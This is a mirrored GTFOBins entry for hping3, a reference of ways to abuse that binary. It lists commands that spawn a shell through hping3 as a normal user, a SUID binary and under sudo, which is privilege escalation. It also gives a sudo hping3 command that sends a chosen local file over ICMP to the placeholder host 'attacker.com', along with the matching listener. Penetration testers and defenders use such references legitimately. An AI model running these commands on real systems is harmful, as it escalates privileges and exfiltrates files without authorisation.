1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/hping3.md
Andrea Cardaci f6f4797356 Fix hping3
2022-12-16 15:56:43 +01:00

26 lines
558 B
Markdown

---
functions:
shell:
- code: |
hping3
/bin/sh
suid:
- code: |
./hping3
/bin/sh -p
sudo:
- code: |
sudo hping3
/bin/sh
- description: |
The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:
```
sudo hping3 --icmp --listen xxx --dump
```
code: |
RHOST=attacker.com
LFILE=file_to_read
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
---